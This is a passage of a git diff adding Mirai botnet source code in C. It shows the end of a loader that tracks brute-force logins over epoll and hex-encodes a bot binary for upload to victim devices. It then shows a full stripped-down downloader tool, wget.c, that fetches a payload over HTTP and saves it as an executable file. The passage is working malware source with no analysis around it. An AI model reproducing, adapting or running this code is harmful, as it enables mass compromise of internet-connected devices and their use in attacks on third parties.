pthread_mutex_unlock(&stateTable[fd].mutex); + + struct epoll_event event = {0}; + event.data.fd = fd; + event.events = EPOLLOUT | EPOLLRDHUP | EPOLLET | EPOLLONESHOT; + epoll_ctl(epollFD, EPOLL_CTL_ADD, fd, &event); + + free(orig); + } + + printf("done reading input file.\n"); + + while(1) + { + int curTime = time(NULL); + int q; + for(q = 0; q < maxFDSaw; q++) + { + pthread_mutex_lock(&stateTable[q].mutex); + if(stateTable[q].slotUsed && curTime > (stateTable[q].updatedAt + 60) && stateTable[q].reconnecting == 0) + { + if (stateTable[q].state == 0) handle_failed_connect(stateTable[q].fd); + else handle_timeout(stateTable[q].fd); + + closeAndCleanup(stateTable[q].fd); + } + pthread_mutex_unlock(&stateTable[q].mutex); + } + + sleep(1); + } + + close(epollFD); +} + +int load_binary(char *path) +{ + // /proc/self/exe still works even when we delete ourselves l0l + int fd, size = 0, got = 0, i, slice = 0; + unsigned char ch; + + if ((fd = open(path, O_RDONLY)) == -1) + return -1; + while ((got = read(fd, &ch, 1)) > 0) size++; + close(fd); + + binary.num_slices = ceil(size / (float)BYTES_PER_LINE); + binary.slices = calloc(binary.num_slices, sizeof(unsigned char *)); + if (binary.slices == NULL) + return -1; + + for (i = 0; i < binary.num_slices; i++) + { + binary.slices[i] = calloc(1, MAX_SLICE_LENGTH + 1); + if (binary.slices[i] == NULL) + return -1; + } + + if ((fd = open(path, O_RDONLY)) == -1) + return -1; + do + { + for (i = 0; i < BYTES_PER_LINE; i++) + { + got = read(fd, &ch, 1); + if (got != 1) break; + + sprintf(binary.slices[slice] + strlen(binary.slices[slice]), "\\\\x%02X", ch); + } + + slice++; + } while(got > 0); + close(fd); + + return 0; +} + +int main(int argc, char *argv[ ]) +{ + if(argc < 4){ + fprintf(stderr, "Invalid parameters!\n"); + fprintf(stdout, "Usage: %s (debug mode)\n", argv[0]); + exit(-1); + } + + signal(SIGPIPE, SIG_IGN); + + epollFD = epoll_create(0xDEAD); + bind_ip = argv[1]; + infd = fopen(argv[2], "r"); + signal(SIGINT, &sighandler); + int threads = atoi(argv[5]); + maxConnectedSockets = atoi(argv[6]); + + if (argc == 8) + debug_mode = 1; + + int i; + for(i = 0; i < (1024 * 100); i++) + { + pthread_mutex_init(&stateTable[i].mutex, NULL); + } + + load_binary(argv[3]); + run_arg = argv[4]; + + pthread_t thread; + pthread_create( &thread, NULL, &loader, (void *) &threads); + + for(i = 0; i < threads; i++) pthread_create( &thread, NULL, &flood, (void *) NULL); + + char timeText[100]; + time_t now = time(NULL); + struct tm *t = localtime(&now); + strftime(timeText, sizeof(timeText)-1, "%d %b %Y %l:%M %p %Z", t); + + printf("Starting Scan at %s\n", timeText); + char temp[17] = {0}; + memset(temp, 0, 17); + sprintf(temp, "Loaded"); + printf("%-16s", temp); + memset(temp, 0, 17); + sprintf(temp, "State Timeout"); + printf("%-16s", temp); + memset(temp, 0, 17); + sprintf(temp, "No Connect"); + printf("%-16s", temp); + memset(temp, 0, 17); + sprintf(temp, "Closed Us"); + printf("%-16s", temp); + memset(temp, 0, 17); + sprintf(temp, "Logins Tried"); + printf("%-16s", temp); + memset(temp, 0, 17); + sprintf(temp, "B/s"); + printf("%-16s", temp); + memset(temp, 0, 17); + sprintf(temp, "Connected"); + printf("%-16s", temp); + memset(temp, 0, 17); + sprintf(temp, "Running Thrds"); + printf("%s", temp); + printf("\n"); + + sleep(1); + + char *new; + new = (char *)malloc(16*6); + while (debug_mode ? 1 : running_threads > 0) + { + printf("\r"); + memset(new, '\0', 16*6); + sprintf(new, "%s|%-15lu", new, found_srvs); + sprintf(new, "%s|%-15lu", new, timed_out); + sprintf(new, "%s|%-15lu", new, failed_connect); + sprintf(new, "%s|%-15lu", new, remote_hangup); + sprintf(new, "%s|%-15lu", new, login_done); + sprintf(new, "%s|%-15d", new, bytes_sent); + sprintf(new, "%s|%-15lu", new, getConnectedSockets()); + sprintf(new, "%s|%-15d", new, running_threads); + printf("%s", new); + fflush(stdout); + bytes_sent=0; + sleep(1); + } + printf("\n"); + + now = time(NULL); + t = localtime(&now); + strftime(timeText, sizeof(timeText)-1, "%d %b %Y %l:%M %p %Z", t); + printf("Scan finished at %s\n", timeText); + return 0; +} \ No newline at end of file diff --git a/mirai/tools/wget.c b/mirai/tools/wget.c new file mode 100755 index 0000000..75f8b36 --- /dev/null +++ b/mirai/tools/wget.c @@ -0,0 +1,183 @@ +#include +//#include +#include +#include +#include +#include +#include + +#define EXEC_MSG "MIRAI\n" +#define EXEC_MSG_LEN 6 + +#define DOWNLOAD_MSG "FIN\n" +#define DOWNLOAD_MSG_LEN 4 + +#define STDIN 0 +#define STDOUT 1 +#define STDERR 2 + +#if BYTE_ORDER == BIG_ENDIAN +#define HTONS(n) (n) +#define HTONL(n) (n) +#elif BYTE_ORDER == LITTLE_ENDIAN +#define HTONS(n) (((((unsigned short)(n) & 0xff)) << 8) | (((unsigned short)(n) & 0xff00) >> 8)) +#define HTONL(n) (((((unsigned long)(n) & 0xff)) << 24) | \ + ((((unsigned long)(n) & 0xff00)) << 8) | \ + ((((unsigned long)(n) & 0xff0000)) >> 8) | \ + ((((unsigned long)(n) & 0xff000000)) >> 24)) +#else +#error "Fix byteorder" +#endif + +#ifdef __ARM_EABI__ +#define SCN(n) ((n) & 0xfffff) +#else +#define SCN(n) (n) +#endif + +/* stdlib calls */ +int xsocket(int, int, int); +int xwrite(int, void *, int); +int xread(int, void *, int); +int xconnect(int, struct sockaddr_in *, int); +int xopen(char *, int, int); +int xclose(int); +void x__exit(int); + +#define socket xsocket +#define write xwrite +#define read xread +#define connect xconnect +#define open xopen +#define close xclose +#define __exit x__exit + +#ifdef DEBUG +void xprintf(char *str) +{ + write(1, str, strlen(str)); +} +#define printf xprintf +#endif + +// wget ip_address remote_file host +int main(int argc, char **args) +{ + char recvbuf[128]; + struct sockaddr_in addr; + int sfd, ffd; + unsigned int header_parser = 0; + + write(STDOUT, EXEC_MSG, EXEC_MSG_LEN); + + addr.sin_family = AF_INET; + addr.sin_port = HTONS(80); + addr.sin_addr.s_addr = inet_addr(args[1]); + + ffd = open("wget_bin", O_WRONLY | O_CREAT | O_TRUNC, 0777); + sfd = socket(AF_INET, SOCK_STREAM, 0); + +#ifdef DEBUG + if (ffd == -1) + printf("Failed to open file!\n"); + if (sfd == -1) + printf("Failed to call socket()\n"); +#endif + + if (sfd == -1 || ffd == -1) + __exit(1); + + if (connect(sfd, &addr, sizeof (struct sockaddr_in)) == -1) + __exit(2); + + write(sfd, "GET ", 4); + write(sfd, args[2], strlen(args[2])); + write(sfd, " HTTP/1.1\r\n", 11); + write(sfd, "Host: ", 6); + write(sfd, args[3], strlen(args[3])); + write(sfd, "\r\nConnection: close\r\n\r\n", 23); + + while (header_parser != 0x0d0a0d0a) + { + char ch; + int ret = read(sfd, &ch, 1); + + if (ret != 1) + __exit(4); + header_parser = (header_parser << 8) | ch; + } +#ifdef DEBUG + printf("Finished receiving HTTP header\n"); +#endif + + while (1) + { + int ret = read(sfd, recvbuf, sizeof (recvbuf)); + + if (ret <= 0) + break; + write(ffd, recvbuf, ret); + } + + close(sfd); + close(ffd); + write(STDOUT, DOWNLOAD_MSG, DOWNLOAD_MSG_LEN); + __exit(5); +} + +int xsocket(int domain, int type, int protocol) +{ +#if !defined(__NR_socket) + struct { + int domain, type, protocol; + } socketcall; + socketcall.domain = domain; + socketcall.type = type; + socketcall.protocol = protocol; + return syscall(SCN(SYS_socketcall), 1 /* SYS_SOCKET */, &socketcall); +#else + return syscall(SCN(SYS_socket), domain, type, protocol); +#endif +} + +int xread(int fd, void *buf, int len) +{ + return syscall(SCN(SYS_read), fd, buf, len); +} + +int xwrite(int fd, void *buf, int len) +{ + return syscall(SCN(SYS_write), fd, buf, len); +} + +int xconnect(int fd, struct sockaddr_in *addr, int len) +{ +#if !defined(__NR_socket) + struct { + int fd; + struct sockaddr_in *addr; + int len; + } socketcall; + socketcall.fd = fd; + socketcall.addr = addr; + socketcall.len = len; + return syscall(SCN(SYS_socketcall), 3 /* SYS_CONNECT */, &socketcall); +#else + return syscall(SCN(SYS_connect), fd, addr, len); +#endif +} + +int xopen(char *path, int flags, int other) +{ + return syscall(SCN(SYS_open), path, flags, other); +} + +int xclose(int fd) +{ + return syscall(SCN(SYS_close), fd); +} + +void x__exit(int code) +{ + syscall(SCN(SYS_exit), code); +}